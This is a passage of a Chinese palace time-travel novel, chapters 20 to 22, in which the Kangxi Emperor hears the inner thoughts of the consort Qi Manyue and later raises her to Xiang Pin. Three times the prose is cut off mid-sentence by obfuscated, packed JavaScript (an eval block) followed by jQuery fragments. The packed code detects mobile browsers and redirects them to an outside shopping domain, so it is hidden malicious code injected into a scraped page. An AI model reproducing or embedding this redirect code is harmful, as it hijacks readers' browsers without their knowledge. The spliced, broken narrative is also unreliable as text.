便低着头一点点抿着杯子里的茶水,只当看不到对方脸上的不自在。 房间里只有云秀和云月忙忙碌碌的细碎杂音,除此之外便只有屋外的鸟鸣和时不时的猫球叫声。 也不知过了多久,实在受不住这样氛围的成贵人,尴尬开口:“我今日来找妹妹,是说那个毛毡。” 她看着齐满月终于抬头看她了,忙笑着继续说道:“我那宫人天生蠢笨了几分,不及妹妹这边的钟灵毓秀,便是过来学了也没学个明白,今日是想请妹妹再细细教一遍。” 成贵人话音停了一顿,似乎在等齐满月客气回应,可不承想齐满月只看着她一脸故作懵懂的样子,只当什么都没听懂。 成贵人咬着牙根磨着牙,最后还是强撑着笑意说道:“我听说妹妹做了几幅布贴的画作,我听着好奇,便想过来看看,若妹妹愿意,能够教姐姐一星半点,自然是最好的。” 齐满月挑了下眉,她算明白了,这位是跑来偷师顺便来探明情报的。 想了想,她笑着点了点头:“好啊。” 说着她站起身做出一副姐妹情深的模样拉着成贵人就往隔壁小间走去。 那是云秀她们给她捯饬出来的手工间。 拉着成贵人,她说的那叫一个详细,那叫一个枯燥,那叫一个让人昏昏欲睡,直把成贵人哄得两眼发直,满脑子浆糊,才将人忽悠走。 “小主何必对她这般客气,只怕她学了您的东西,回头拿去上进了。”云月最耐不住性子,在成贵人走后就忍不住问道。 “你觉得成贵人是傻子吗?”齐满月看着宫门口,想了想问道。 云月呆愣着,摇了摇头。 齐满月轻笑一声:“是啊,不是傻子,那干嘛做的是傻子的事情呢?” 说着她拍了拍云月的肩膀,往屋子里走去。 云月忍不住挠了挠头,还是没想明白。 旁边的云秀轻笑着摇了摇头,跟着齐满月进了屋子。 见两人这故作玄虚的模样,云月愤愤地跺了跺脚,赶忙跟了进去。 这边成贵人收回脸上的那副迷茫的表情,冷冷地看了眼旁边的宫人,才说道:“你去回了那边,就是我都按照她的要求去做了,让她也不要失约。” 宫人沉默地对她点了点头,悄然退下。 夜幕将至,满宫只有侍卫还在巡逻的时候,永寿宫里一个俏丽的身影轻轻走到宫门口敲了几下宫门,又递出去一枚令牌。 不过片刻,本该紧锁的宫门被小心打开一个缝隙,身影直接从缝隙挤出去,快速向着一个方向走着…… “行,你继续盯着,莫要被齐佳贵人发现,也莫要让任何人伤害了她。” “是!” “回去吧……” 宫人恭敬跪安后,又快速且安静地回到永寿宫。 “你干嘛去了?”同一间屋子里的其他宫人正好起夜看到她,不由诧异地扫向还黑着的夜晚。 “我腹痛难忍怕吵着你们,便出去坐了坐。”身影轻声回了句,便推了她一把,“行了早点睡吧,明天事儿还很多呢。” 齐满月丝毫不知道永寿宫发生的一切,就像是有一双手将一切黑暗地、不安地遮挡在她的外面…… 20. 心动启蒙 在宫里日子过得平淡且快,尤其是对齐满月这样本就对生活要求不高的人,时不时搞点小手工,拉着宫人们聊聊她们知晓的故事,就这样慢悠悠地一天也就混过去了。 那辆黄履庄发明的自行车已经被搬出了永寿宫,至于送到哪里没人和齐满月说,她也懒得问,反正怎么看这玩意儿都落不到她一个小小贵人手中。 别说,这后宫的宫人们知道的一些故事可比那些死板的女四书有意思多了,甚至有些比她前世看的鬼故事还要吓人。 要知道前世因为身体原因,她曾经在很长一段时间里都是被要求不能看这些刺激的东西。 不过也有不少痴男怨女的故事,齐满月觉得不少故事挺毁三观的,时不时还和云秀几人坐一起边聊边吐槽。 也因此,齐满月发现这个时代的女性并不像她想象中那样的死板无趣,相反她们也有着非常有趣的灵魂,她们也会吐槽一些恋爱脑毁三观的故事。 “说起来,皇上好像很久没进后宫了?”几个人闲扯着不知道怎么着就扯到皇上身上。 云秀忍不住瞪了这几个聊起天儿来就不管不顾的丫头,才轻咳着压低声音说:“前朝出点事,听说是江南那边还有京畿之地,接二连三地出事儿,民间正传言……” 云秀抬眼四处打量了一番,才继续压低声音说道:“民间正闹个不停,尤其是那些汉人。” 齐满月动作一顿,她脑子里瞬间想到传说中白莲教。 白莲教可是个历史悠久的造反专业户,据她曾经听说过的八卦,这个教派可是自从元朝就有了,据传言甚至在南宋就有了。 如果是他们借此闹事倒也不稀奇。 不过……齐满月微微蹙眉,总觉得哪里有些不对:“白莲教是这个时候吗?” “小主?”云秀见她轻喃着发呆,却没听到她具体说了什么,只当她被吓到了,忙开解说道,“小主莫怕,民间无非是闹一闹而已,并无大碍。” 齐满月若有所思地点了点头,才听着云秀继续说道:“听说有个什么教的一直在民间协助赈灾,还颇有名声呢。” “咦!”齐满月脑子里顿时冒出一个硕大的惊叹号,“白莲教没造反?!” “说起来……”她忍不住戳了戳下巴,“我记得白莲教好像是在嘉庆年间打入皇宫的,那之前……造反过吗?” “白莲教!?”站在永寿宫宫外的康熙眉头紧皱。 他这些时日忙着赈灾抚民的事情,这一忙就差不多忙了三四个月,如今都已经近秋日了,还不曾见过齐满月几次,所以在今日一切都忙完后,才抽了个空来永寿宫看看对方。 却没想到,还没进去就听到这样的消息。 想到这里,康熙忍不住蹙眉,白莲教他还真从大臣们递上的折子中看到过。 尤其是山东和浙江的折子上,都有些民间白莲教协助赈灾的事情,曾一度让他对这个教派有了些许好感,但对这个汉人的教派他还真没了解过。 造反专业户?南宋就有?难不成汉人还造汉人的反不成? 这样想着,康熙就直接抬腿走到永寿宫里。 齐满月有些诧异地看着他,她没想到康熙时隔三个月进入后宫后,第一天会来永寿宫,赶忙下跪行礼。 “起来吧。”康熙刚说完,就突然不见外地拉着她的手就往里走。 “哇靠!他为什么突然牵我的手!我们有那么熟吗?!”康熙听着对方心里不住地尖叫,嘴角无语地抽了抽,但抓着对方的手始终没有放开。 尖叫了好一会儿后,齐满月才在心里突然反应过来:“对哦,我是他的妃嫔,某种意义上算两口子吧……” 听到“两口子”这样过于俚语的称呼,康熙忍不住一愣。 他没想到对方会用这样的词来形容两人的关系,毕竟在这一刻之前的他对齐满月,更多的是逗弄一个未来者,还有宠爱自己嫔妃这样的想法上。 毕竟他所认可的妻子迄今为止也只有赫舍里,法理认可的还有钮祜禄氏,未来他还有妻子吗? 在康熙的印象里,他似乎还从未想过这个问题,但在钮祜禄去世后,他也有想过这个后宫还有谁是他所信任能够坐到那个位置上的。 当时他的第一个想法就是表妹佟佳氏,但同样的最不可能的也是佟佳氏,毕竟佟佳氏不能再出一个皇后更不能再出一个拥有佟佳氏血脉的嫡子。 也不知是他的祈愿成功了,还是他和表妹确实无子嗣缘分,表妹入宫至今数年,还不曾有过身孕。 不过早些年宫里去世的孩子太多,他有一瞬也会想没有也好,免得表妹要承受一次丧子之痛。 “康熙咋了?握着我的手发什么呆?”齐满月的话将他从回忆中唤回神来。 康熙微微紧了紧握着对方的手,拉着齐满月就坐到了罗汉床上:“陪朕坐坐。” “咦!?找解语花找我这干嘛?后宫里多的是呢?”齐满月乖巧地坐在罗汉床边,微微垂着头给康熙倒茶,可心里却不住地吐槽。 康熙没从她的心声里听出什么醋意,反倒听出了不少揶揄。 刚刚那将他二人比作夫妻的心声就像是一场幻觉,他心下不由叹了一口气,却一时间无法分辨叹出的这口气里是对对方突然不关注这件事的些许失落,还是无法让对方成为自己妻子的歉意…… 秋日的风有些喧嚣,吹在永寿宫院落的矮树上,发出细碎的簌簌声;在这个只有宫人浅淡呼吸声的永寿宫偏殿里,这声音显得格外明显,带着几分吵闹。 康熙从自己思绪中回神时,只觉得那秋木和风相遇的声音带着几分能压下他心中烦躁的舒缓。 阳光透过窗棂温柔地洒在面前的人身上,为那本就白皙的肌肤铺添上一抹微光,衬得肌肤宛如珍珠一般闪着珠光,这光闪进他的眼眸中,让他忍不住希望时间就这样慢慢地停在这一刻,停在这样一个足以让他觉得安全且能够放心的时刻里。 “看我干嘛?怎么不说话?”齐满月却没有他那么多的感慨,她只觉得屋子里静得有些烦闷,外面的叶子声有些吵闹,面前的皇帝有点大病。 “咳。”康熙不知为何,下意识地干咳一声,抬手端起一杯茶,掩饰住脸上自己都不曾深觉的不自在。 “这些时日,山东江南浙江那边都不大安稳,朕竟然许久未曾来看你。”说着他扫过齐满月有些诧异的眼神,声音瞬间一顿,此时他自己也察觉出来这话对一个贵人而言有些过深了。 “之前带了个自行车给你,可喜欢?回头要是有些喜欢的直接遣人去乾清宫找梁九功,只要你不是违反宫规的,朕都应你。” “怎么突然对我那么好?做了什么对不起我的事心虚?不对啊,我不过是个小贵人啊,该不会真把我爹安排去了前线吧!!我可怜的已经七十多岁的老父亲!!” 康熙没想到对方心声没如他所愿响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551081|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 起有关于自行车的事情,反倒拐到了布色赫身上,赶忙开口说道:“对了,前日里你阿玛上了折子,乞骸骨归乡。” “我阿玛……辞官?”齐满月的声音中带着几分茫然,“我……阿玛有官职?爵位还能辞掉?” 齐满月这次是难得心口统一,她的心声也如面上一样带着迷茫:“是我孤陋寡闻了?祖传爵位也能辞官了?” 康熙微微叹了口气,不知道为自己曾经说过的话在对方心里没有留下丝毫痕迹而叹,还是为这位明显不清楚大清官场规则的懵懂而叹。 “爵位自然不能辞,更不用说你阿玛身上的爵位本就是世袭罔替的,是朕前些日子让他做了散秩大臣。” “散秩大臣……是个啥?!”齐满月越发茫然了,她前世里虽然爱看清穿小说,可多是放在后宫的,你要问哪个阿哥的生平或是妃子的生平,她能给你说得头头是道,可说到前朝她就完全不懂了。 就连戴梓和黄履庄这种被遗失在历史中的天才,还是她经常刷到相关视频后,才了解了一点,除了前几天想到的那些,其他的是真的都忘得差不多了。 康熙也听到了她这些想法,无奈又叹了口气才轻声解释道:“你不必管散秩大臣是干嘛的,只知道是专门给老臣安排的职位就行了。” “哦哦。”齐满月乖巧点了点头,心里却不断闪过疑惑。 “不对啊,我家里又没钱,多一个官位还能多点俸禄,阿玛为什么要辞官?” 康熙想了想,没解释布色赫辞官背后的忧女之心,只说道:“朕最近实在没时间去管黄履庄等人的事情,便想让父亲去看一看,他老成持重正好可以压阵。” “一切谨听皇上吩咐,齐佳一族能够为君分忧本就是齐佳一族的福分。”齐满月面上自然是一切都紧守这个时代女性的行为规范,可心里却不是这样想的。 康熙听着她面上的谦虚只觉得牙酸,听到她的心声后才觉得几分习惯。 想到这里,他不由暗笑几声,自己如今少了这活泼的声音还真有些不习惯。 心里念着,他忍不住抬手揉了揉眉心,这些时日和大臣们你来我往好不热闹,他也越发怀念齐满月这种连心声都无法瞒住他的感觉。 “你们自入宫起便无法再出宫,想来也有些无趣,朕许宫人与你讲些宫外的事情,只是宫外的书籍莫要带进来。” 康熙想到孝庄让人递给他的消息,每日请安时都能听到齐满月抱怨着无趣,想看话本子,便忍不住说道。 齐满月听后眼睛一亮,这宫里自然也有说书的女先生,只是她这样的身份很难申请得到,宫人给她讲故事也只能是私下的,也多亏永寿宫就她一个人,但凡多一个宫妃,别说宫人连她都不敢这样放肆。 这样想着,她心里对此时的康熙便多了几分夸赞。 简单的两句夸奖,不及那些大臣们的口吐莲花,辞藻华美,也不及后宫其他妃嫔那般情意绵绵充满钦佩,可却让此时的康熙有种莫名的荣耀感,是远超于过去听过的所有的夸赞的欣喜感,是一种超越了时间和空间所带来的后人对他的那种称赞的感觉,让他不禁脸上就带了几分笑意。 这份笑意落在齐满月眼中却觉得皇帝病得不轻。 康熙没想到还没夸两句,对方反而又开始在心里骂自己了,忍不住揉着额角。 谁知正巧慈宁宫来人,他便赶忙起身离开,他可不想再听齐满月的数落了。 21. 祖孙谈心&封嫔 康熙就这样匆匆离开,让齐满月忍不住愣了下,心下不由暗自腹诽道:“咋又这么突然?我这里的东西是扎屁股吗?每次和我相处都急急忙忙的?” 康熙抽了抽嘴角,实在不想和对方计较,只能当作什么都没听见,快速钻进御辇。 一路上慢悠悠地来到慈宁宫,中途康熙还遇到几个嫔妃,但他此时可没有宠幸的心思,只照着往日关心了几句而已。 到了慈宁宫,孝庄将其他伺候的宫人安排出去后,才问道:“你那边都没问题了?” 康熙点了点头:“嗯,多亏了系统的提前预警,才能及时救助,不然怕是……” 孝庄也跟着叹了口气:“至少能够挽救。” “说起来,孙儿想着要不要直接给齐佳氏晋位分,毕竟若不是她带来了系统,怕也不会有如此顺利。”康熙压下心中的一抹悸动,想了想才将想法说出口。 “倒也算她一功,只是对内宫外朝总该有个说法。”给齐满月晋位到嫔位是孝庄和康熙本就计划好的,她倒也不意外,只是没想到康熙如此急切罢了,她还以为最快也要齐满月侍寝之后。 康熙端着茶盏的动作微微一顿,随后才笑着应道:“齐佳氏出身八大姓,祖上和她父亲都是有功的,便是无功晋位倒也说得过去。” 孝庄听到这里愣了下,她总觉得哪里有些不对,只是如今别说前朝,就算是后妃她也不想管束太多,毕竟上一个管束太多的早已和她决裂。 见她默认下,康熙不由暗自松了口气。 不过这口气还未彻底松下,他自己心里就不由咯噔一下。 他何尝为一个嫔妃的晋位而如此紧张担忧过?又何曾为一个女子如此筹谋过该如何让她过得更好? 念头在心中不停徘徊,也让他的心里骤然生起一点警惕,那是对自己这一刻有些失控情绪的警惕,也是来自于先帝和那些祖上事迹的警惕。 “要不……再等等吧……” 康熙这突然的改口让孝庄有些诧异,她看着面前正在出神的孙子,心中顿时起了一个有些不可置信的猜测,可怎么看着那张爱新觉罗氏的脸,她心里开始无比地相信这个猜测如此地真切。 那个属于爱新觉罗氏的所谓的诅咒,曾被她数次和苏麻喇姑暗地里嗤之以鼻的痴情,在她所认为不会出现这样情况的孙子身上长出了一丝萌芽。 该庆幸他所要钟情的是一位天赐的存在,而非那些只能被困在后宫里成为男人点缀的无能为力的存在吗? 该庆幸吗? 孝庄的心中不断闪着这样的念头,许久之后,在康熙还不曾从自己那复杂的心绪中回神前,孝庄无声地叹了口气:“倒也不必拖着,若非系统不同意,以她的出身和能力,本该是一个妃位的。” 妃位啊……康熙眼眸微垂不自觉发出一声轻叹,若是……皇后……也未尝不可啊。 可这样的念头不过是在心中闪过一瞬就被他压下,齐佳氏的出身到底低了些,即便是八大姓,也因家族人丁不旺而落寞,而她性子天真也不适合坐在那样的位置。 康熙丝毫没反应过来,当他把齐满月放到那个位置考虑的时候就已经意味着他所有的警惕都不再是警惕。 “听祖母的。”他没有再多说什么,失神的这会儿,他一直盯着虚空里系统给的民心所向线图,他看了许久,就像是想从那些线图里看出自己的心,而就在孝庄说完这句话后,他才回过神来。 他……心终于定了,至少在这一刻,他对于齐满月是最放心也最信任的,更想将一切世间最好的捧到她的面前,至于那背后的原因……对此刻的他而言并不重要,因为他是皇帝,掌握着大清的帝王。 孝庄没有去追问康熙在出神的这一会儿想了些什么,她期盼着对方还迷茫着,可又恐惧对方因迷茫而错过这样的机缘。 揉着额角,她犹豫了许久还是说道:“前几日齐佳贵人来请安时,有说过一些事,我觉得你该知道的。” 看着她满脸慎重,康熙心中有了很不好的感觉,想到齐满月心声一向直白,他下意识举手揉了揉太阳穴:“她说了什么?” “你是不是打算让徐乾学修明史?” “正是,本朝修前朝史本就是惯例,大清修明史也算合理,如今既然我大清已经伫立此地,也该为前明修史了。”康熙毫不犹豫地点了点头。 “……”孝庄沉默了一瞬,才说道,“据齐佳氏所言,后世因我朝修明史时删改太过,而认为我们得朝不正……” 她其实并没有将齐满月的话直接告诉康熙,因为齐满月那时说得实在太过难听了,甚至直接称之为“偷”,这是何等具有轻蔑意义的指责,让她这样一个维护蒙满权益的人如何能够说得出口。 想了想,她又说道:“齐佳氏说创业太易,诛戮过重,有天下者太巧……” “创业太易,诛戮过重,有天下者太巧……”康熙声音中带着些许冷意,他猛地站起身,脸色发青地看着虚空,可是许久后,他还是闭了闭眼坐回到位置上,“我……我们……该如何辩解呢?” 他的声音里满是迷茫夹杂着一丝心虚,却更多的是无措。 毕竟这话多么一针见血啊,犀利到他没有丝毫可以辩驳的地方。 “我想着,既然她来的那个后世都如此认为了,我们又何必遮遮掩掩。”孝庄犹豫了片刻后才说道。 她何尝不想让满蒙的统治更加具有说服力,她甚至在刚刚听到这话的第一反应是再发起一次“剃发易服”的血腥运动,将那些有这样思想的汉人杀尽,杀怕。 可那一瞬间起的杀念让系统直接对她进行了电击惩罚,那一刻的电击足以让这个自认为经历过大风大雨的老人,对系统有了一丝恐惧。 也因此,在仔细思考数日后,她从最初的起杀意,到逃避,再到想放任一切按本该走的线路去走,直到今天齐满月在请安时提到了关于她身上的后世揣测。 那一瞬间,她突然有种想要将自己一切如实记录下来的冲动,也因此明白了记录的意义,这才彻底改变主意。 “呵!”康熙却冷笑一声,“自唐太宗改史以来,哪朝哪代不对前朝历史修缮更变掩饰,难不成汉人可以改汉人的历史,我满族就不能改了?元朝尚且改了宋史,她们后世便只抓着我们不放?” 康熙此时回过神来,那些过往读过的书不断在脑海里闪现,今日被齐满月心声噎到的憋闷也在这一刻爆发。 “谁让……她是汉人呢?而我们大清……确实得位不正啊……”孝庄的声音在旁幽幽响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553066|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 起,打断了康熙的话。 康熙一噎,停止了愤怒,无力地坐在座位上:“额涅玛玛可知,若是我大清得位详情被传出去,怕是民间的汉人更压不住了。” “那就做一个汉人也满意的皇帝。”孝庄看向康熙,“这不是你和你阿玛一直想做的吗?” 康熙没想到自己早些时候的一些想法会被孝庄发现,这一瞬间心中立刻有了对孝庄的警惕,可瞬间又消失。 他是被孝庄养大的,对方能够猜中他的心思也不算意外。 这短短一瞬间的警惕,也让孝庄不由在心中叹道:“不愧是天生的帝王啊……” “此事你心中有了数,我便不再说什么,如今天下是你的天下,该如何做是你的事情。”孝庄也不知是想起对齐满月的那一瞬间的无力,还是对康熙可能动心的恐慌,抑或是对康熙对她起质疑的悲哀,总归这一刻她只想静静。 康熙张了张嘴没再说什么,起身行礼离开。 他离开后苏麻喇姑轻轻走到孝庄身旁,将她的手握在自己手中,一时间慈宁宫里再次恢复了往日的安静。 只是这安静中透着说不清的让人无法平静的讯息…… “奉天承运皇帝,制曰:朕惟佐理后宫……必资淑德以助徽音。咨尔齐佳氏,齐佳布色赫之女……肃雍之德流芳;淑慎持躬……柔顺之风昭著。兹仰承太皇太后慈谕,册封尔为襄嫔,赐居永寿宫……衍皇室之洪庥……钦哉。” 一道封嫔的圣旨打破了后宫本就不甚多平静的氛围。 “她才入宫几时?莫不是诞有子嗣,便是侍寝也不过只一次,怎么就封了一宫主位?!”后宫的一个宫室里,一位容貌美艳却因发火而造成五官扭曲的女子,愤恨地将手中的茶盏扔得老远。 她身旁侍奉的宫人赶忙上前宽慰:“主子怕是什么,不过是齐佳一族的,那一族连个当用的都没有,她那阿玛都七十了,怕是皇上看在她阿玛的份儿上才赏了这么个位置。” “她齐佳一族不算什么,阿玛又是年龄大不中用的,可她一入宫就以贵人身份独居永寿宫,现在更是凭借嫔位名正言顺地当了一宫主位!我呢!我也是嫔位却不得不屈居侧殿,连个本宫都不能自称!” “主子!”宫人赶忙上前捂住她的嘴,“隔墙有耳!” 女子想了想收敛了怒意,看向宫人:“成贵人那个废物一点都没得逞?” “是她福气太薄,去了几次都没能碰见皇上。”宫人忙应道。 “还不如个卫氏,好歹生了个孩子,就算是爬不上去有个孩子便在皇上心里有了印象。” “到底是惠妃娘娘宫里的人,自然灵秀几分。”宫人不知为何并没有顺着对方的意思贬低延禧宫的人。 女子没听出对方的意思,她只一心沉寂在自己的世界里,许久后她才忽地拍了拍手:“听说那卫氏容貌堪称艳冠后宫?既然如此我倒要看看,皇上会拒绝到嘴里的肉!” 宫人脸色一白,她没想到主子一心将主意打到延禧宫去,只是却一时间不知道该如何去劝说,她想了想才犹豫道:“那卫氏容貌怕是不及……” 女子没搭理她,只冷冷一笑,让她去想办法。 宫人没辙,只能为难地退下,没多久她就满怀心事出了宫门…… 22. 纯日常 “襄嫔!?”宜妃正满怀喜意地看着太医,突然就听到宫人的回复,脸上的表情下意识僵了一瞬。 德妃在旁赶忙握住她的手,示意宜妃的贴身宫女将太医好好送走。 见宫人随着她的示意一一退去后,她才看着宜妃面带些许担忧道:“先别管其他,你就不怕你刚刚那副反应被传出去?” 宜妃色厉内荏道:“怕什么,这阖宫上下哪个不知道我泼辣爱醋。” 德妃虚空点了点她:“你呀你,你若真是如此,还能受宠至今?真当别人都是傻的不成?” “还真没瞒住?”宜妃有些不可置信地摸了摸脸,才叹了口气,“什么宠妃啊,你看看人家无子封嫔,直接成了永寿宫一宫主位,还是独享一宫,哪个像咱们,一个接一个地生,才换来这么个妃位。” 德妃忍不住翻了个白眼:“这宫里初入宫便封为贵妃、妃的何止一个,你怎就偏偏醋起她了?难不成肚子里这个是个娇气的公主?” 宜妃脸上带着暖意轻轻抚上肚子:“女儿也好,至少……可以养在身边了。” 德妃神色一顿,才脸露些许落寞:“是啊,好歹拼了几条命坐到了妃位,往后再有孩子,总能养在自己身边了,女儿好,女儿啊……终归能多养几日。” 宜妃反手握住了德妃的手:“都怨我竟提了不开心的,你如今刚生产不过三月,还偏要来看我,如今我竟然还惹了你这般,若是……可要悔死我了。” “哪里就怪你,老祖宗的规矩莫不说你我,便是皇贵妃诞子,纵然不会交给其他养母,但也有乳母,也不过你我略强了些。” “是啊,倒不知咱们这位新晋的襄嫔,将来可是个有福气的,不像咱们受那么一回子委屈。”宜妃轻叹了口气后,才像想起什么突然说道,“说起来,这襄字,好像不曾听说过作为妃嫔封号吧?” 德妃回忆了一番,才缓缓摇了摇头:“姐姐也知,我读前朝史书不多,只是咱们先皇后谥号中有襄字。” “那惠妃的封号不也在其中。”宜妃想了想还是摇了摇头,“算了,如今只是嫔位,便是真做到妃位也不过同你我一般罢了。” 德妃见状也不由赞同地点了点头,两人直接错开话题,讲起养孩子的事情来。 与她们的担忧震惊不同,延禧宫的惠妃倒有些不太在乎。 “襄字前朝便有给妃嫔封号的,倒也不算稀奇,无非是不常用罢了,毕竟襄字乃是辅佐协助之意,何等女子会被皇上称之为辅佐协助之名呢?好则不过是得一个襄助后宫之主的份罢了。”惠妃这几日正头疼儿子的事情,哪里就有关注到新晋嫔妃份儿上,毕竟她如今早已不怎么侍寝了。 后宫四妃中惠妃和荣妃因年纪已长,早已不将注意力放在帝王之宠上,对皇帝的册封也不甚多在意,德妃刚刚生产不久,宜妃已经有喜,即便正当宠,也没什么功夫关注。 一时间整个后宫,竟只有几个嫔位还要为此留意,只是明摆着齐满月正得宠呢,她们自然也不会前来找不痛快,相反第一时间送了贺仪。 让云秀将东西登记造册后,齐满月揉了额角,恨不得直接躺回到床上。 “小主,还要宫人打赏,安排内务府铺宫呢。”云秀忙的脚打后脑勺,却怎么都压不住满脸喜意。 别说她,整个永寿宫的宫人都禁不住的喜笑颜开,跟随着齐满月的四位宫女自不用说,其他宫人只开心永寿宫终于有了主位娘娘,他们更能名正言顺的伺候,还能光明正大领赏了,毕竟怎么看这位新主位娘娘都是个得宠的。 随着圣旨而来的还有一队又一队的赏赐,让齐满月这个手头发紧的小贵人,突然间就成了个小富婆。 其中便以孝庄和皇上打赏得最为丰厚,其次就是太子和皇贵妃。 这也是后宫众人为之有些酸言酸语的原因所在,从未有哪个后妃被晋封还被如此大赏特赏。 在她们心中皇帝重赏齐满月自然是因宠爱,孝庄也可能是因为齐满月的八大姓出身,可令她们不解的是太子和皇贵妃。 “这两位?怎么给她赏赐这般多?还以贺仪的名义送的?”女人揉了揉眉心,赶紧唤来宫人,“去把去惠妃那里的人叫回来!” “小主?”她的宫女有些诧异,却赶忙去办了。 索性安排的小宫女因为胆怯一直在延禧宫外小心躲着呢,听到主子唤她并改变了主意,不由大松一口气,只觉得捡回一条小命。 “以后永寿宫那边不要搭理了。”日光照射下,女子脸上闪过一丝悲戚,“我也是赫舍里啊……凭什么她可以,我就不行?!” 这位便是指使成贵人抢宠,又想从惠妃手里夺走卫氏的赫舍里僖嫔。 “小主……”僖嫔的宫人也是她自幼的贴身婢女,此时带着几分心疼看着主子。 “罢了,好歹我还有个僖嫔,那位不是她的亲妹妹嘛,至今不也只是个庶妃,还有翠僖如今不过是个常在,也不知道赫舍里还要填进来多少个女人……” 僖嫔往日那骄横跋扈的脸上,此时充斥着过去从未有过的落寞,那是一种物伤其类中夹杂着某种庆幸的悲痛。 “有喜了?!赏!”康熙在懋勤殿批了没多久的折子,正想着也不知道齐满月收到晋封的圣旨和赏赐该如何高兴,会不会在心里也称赞几句他时,就听到了宫人上报宜妃有喜,不禁大喜大赏。 这一会儿,他也有些坐不住了,只觉得无尽的喜事涌上心头,便直接坐起身,对梁九功吩咐道:“去翊坤宫。” 一路摆驾翊坤宫,路上坐在御撵上的康熙难掩喜意,甚至连进入翊坤宫都行走间带着风,风卷起龙袍的一角,快速交替的步伐显示着他此时激动的心情。 “快起吧。”康熙直接扶起宜妃,这才对着一侧的德妃说道,“德妃也在,你刚生产也该多休息才是。” 德妃笑得温柔,细声细气地解释道:“臣妾与宜妃姐姐向来交好,知道她身有不适这才过来看看,没想到竟是一个天大的喜事。” 康熙点了点头,示意她也坐下后,才说道:“四妃中你们年龄最相仿,关系也一向不错,你来关心她是好意。” 德妃依旧笑得恬静:“我与姐姐本就性情相投,能和姐姐如此交好,也是臣妾的福分。” 康熙一向喜欢德妃柔顺娴静,此刻见她这样,也不由更多了几分关心:“你如今诞下七公主,也该好好休息下。” 说罢他转身对梁九功吩咐道:“安排太医这几日勤给德妃请脉,让太医去乾清宫回禀。” “臣妾谢主隆恩。”德妃依旧是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554899|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 娴静模样。 她起身后看了宜妃一眼,才看向康熙说道:“姐姐大喜,皇上且陪着姐姐说话吧,臣妾先告退了。” 康熙见状也没留她,点了点头让她退下。 等人离开后,他拉着宜妃的手轻声说道:“虽说不是第一次当额娘了,也该注意些,平日里若有惹你不高兴的,只去回禀就好。” 宜妃一向性格爽利,对康熙也是直言不讳的,此时更是直接笑着应下,还不忘调侃道:“臣妾知道厉害,不过皇上就不怕新得的襄嫔惹了臣妾?” 康熙听后不禁笑道:“她性子一向胆小,怕是惹不起你。” 话是这样说,康熙还是忍不住暗自腹诽道:“若是她的心声能够被众人听到,怕是每时每刻都在惹人生气吧,这后宫怕是没有一个能够不被她惹怒的了。” 不过心中这样想,康熙还是面上为齐满月遮掩着:“每日请安你也见过,应该知晓,她是个老实的。” 宜妃娇嗔地看了康熙一眼:“是啊,人家都是老实孩子,只臣妾是个皮猴子?” “朕就喜欢你这爽利的性子。”康熙忍笑着点了点她。 宜妃含笑着摸着小腹:“希望臣妾能给皇上生一个活泼的公主。” 康熙却没如她所想继续与她调侃,她错愕间抬头却发现康熙竟然出神了。 康熙看着宜妃白皙的指尖落在平坦的小腹上,脑海中不断闪过刚刚宜妃那副充满母性的笑,闪过后宫那些生育过的妃嫔提到孩子时的笑。 突然他觉得这些人的面容都有些模糊,就连面前的宜妃也是。 宜妃面带不解的看向康熙,那眼眸中还带着些许担忧。 可康熙却怎么都觉得那笑容那担忧竟不似刚刚抚摸小腹时真切。 “……皇上?”许久后,宜妃还不见他回神,不免带着几分担心轻唤了一声。 康熙却猛地站起身,像是被她的突然靠近吓了一跳一样。 见宜妃被自己的动作惊得忍不住起身后退了一步,康熙忙要上前扶住她,却在看到宜妃的脸后突然顿住,扫向她的宫人:“扶好你家娘娘,梁九功召太医!” 梁九功赶忙跑去安排,这边康熙有些歉意地看向宜妃:“是朕不好,刚刚想起朝政上的事一时间有些失神。” 宜妃并不觉得康熙刚刚的样子是想起朝政,只是一时间也猜不出什么,更不敢质疑康熙,只能乖顺地点了点头。 见她难得乖巧模样,康熙不由越发懊悔,只是看着宜妃不住抚摸小腹的手,还有那脸上怎么看都比看向自己时更真切的担忧,他怎么都无法说出留下的话。 “朕那边还有政务,就先过去了。”说罢他阻止了宜妃的行礼,直接转身离开。 宜妃被他的动作搞得一头雾水,却也不敢追问什么,毕竟朝政更重要。 康熙一路安排了梁九功让太医给宜妃诊脉结束后,让他去乾清宫回禀,又交代了让他盯着内务府好生照看宜妃。 说话间,他正好路过永寿宫,下意识喊了停。 康熙却在梁九功打算开口传旨的时候,再次挥手让人离开。 进了懋勤殿,他突然回头对梁九功吩咐道:“晚上召襄嫔侍寝。” 梁九功愣了下,却又赶忙回身应下去安排。 23. 